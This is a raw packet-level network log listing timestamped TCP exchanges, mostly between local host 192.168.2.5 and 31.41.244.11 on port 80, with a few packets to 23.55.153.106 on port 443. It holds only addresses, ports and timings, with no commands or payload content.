Dec 16, 2024 09:01:31.331214905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.331258059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.331931114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.331975937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.332022905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.332062006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.332752943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.332799911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.332885981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.332931995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.333626986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.333667040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.333702087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.333741903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.334420919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.334460974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.334525108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.334585905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.335261106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.335308075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.335386038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.335434914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.336119890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.336251020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.336285114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.336332083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.336894989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.336946011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.336997986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.337055922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.337723017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.337816000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.337897062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.337944031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.338545084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.338655949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.338692904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.339355946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.339400053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.339482069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.339711905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.340183973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.340224028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.340301037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.340373993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.341026068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.341069937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.341135025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.341221094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.341891050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.341964006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.342005968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.342686892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.342730045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.342766047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.342808008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.343497992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.343555927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.343590021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.343632936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.344357014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.344379902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.344398022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.344418049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.345151901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.345201015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.345237970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.345279932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.345979929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.346028090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.346065044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.346106052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.346810102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.346916914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.346935034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.347027063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.347631931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.347743034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.347790956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.348454952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.348503113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.348565102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.348604918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.349277020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.349322081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.349387884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.349519014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.350135088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.350198030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.350203037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.350244045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.350939989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.351007938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.351099968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.351145983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.351782084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.351831913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.351924896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.351967096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.352606058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.352663994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.352699041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.352752924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.353450060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.353555918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.353585958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.353629112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.354314089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.354461908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.354527950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.355094910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.355155945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.355186939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.355227947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.355920076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.355984926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.356015921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.356059074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.356801033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.356861115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.356899023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.356942892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.357584953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.357650042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.357681036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.357717991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.358409882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.358587027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.358652115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.359205961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.359262943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.359293938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.359349966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.360039949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.360106945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.360129118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.360172987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.360876083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.360929966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.361047029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.361093998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.361682892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.361747980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.361788034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.361831903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.362524033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.362634897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.362698078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.363353014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.363415003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.363445997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.363490105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.364166975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.364217043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.364238024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.364289999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.365039110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.365156889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.365214109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.365807056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.365916014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.365983009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.366650105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.366705894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.366817951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.366866112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.367480040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.367584944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.367609978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.367625952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.368302107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.368364096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.368395090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.368438959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.369113922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.369225979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.369277954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.369904041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.369951010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.452409983 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:31.452507973 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:31.452634096 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:31.453857899 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:31.453891039 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:31.519002914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.519057035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.519093037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.519145012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.519285917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.519332886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.519366980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.520136118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.520153046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.520179033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.520196915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.520364046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.520917892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.520975113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.521054029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.521141052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.521723032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.521770000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.521810055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.521855116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.522542000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.522604942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.522675037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.522733927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.523459911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.523509026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.523516893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.523550987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.524211884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.524256945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.524291992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.524339914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.525039911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.525110960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.525125980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.525166988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.525860071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.525904894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.525969982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.526021957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.526724100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.526784897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.526856899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.526905060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.527597904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.527648926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.527668953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.527714968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.528336048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.528378010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.528429031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.528476000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.529160976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.529208899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.529257059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.529371023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.529988050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.530039072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.530077934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.530169964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.530842066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.530906916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.530949116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.530991077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.531641006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.531687021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.531771898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.531820059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.532470942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.532514095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.532582998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.532656908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.533278942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.533320904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.533405066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.533448935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.534131050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.534187078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.534219027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.534291983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.534959078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.535008907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.535065889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.535185099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.535764933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.535813093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.535814047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.535856962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.536602020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.536648035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.536725998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.536802053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.537420988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.537611008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.537638903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.537674904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.538242102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.538286924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.538355112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.538412094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.539078951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.539120913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.539202929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.539900064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.539944887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.540117979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.540163040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.540752888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.540800095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.540858984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.540918112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.541557074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.541600943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.541682005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.541729927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.542484999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.542534113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.542537928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.542582035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.543386936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.543432951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.543525934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.543575048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.544121981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.544173002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.544208050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.544516087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.544850111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.544894934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.544966936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.545018911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.545797110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.545886993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.545900106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.545933962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.546525002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.546576023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.546710014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.547131062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.547355890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.547436953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.547471046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.547518015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.548216105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.548259974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.548289061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.548336029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.548986912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.549037933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.549101114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.549518108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.549815893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.549884081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.549923897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.549976110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.550685883 CET	80	49866	31.41.244.11	192.168.2.5
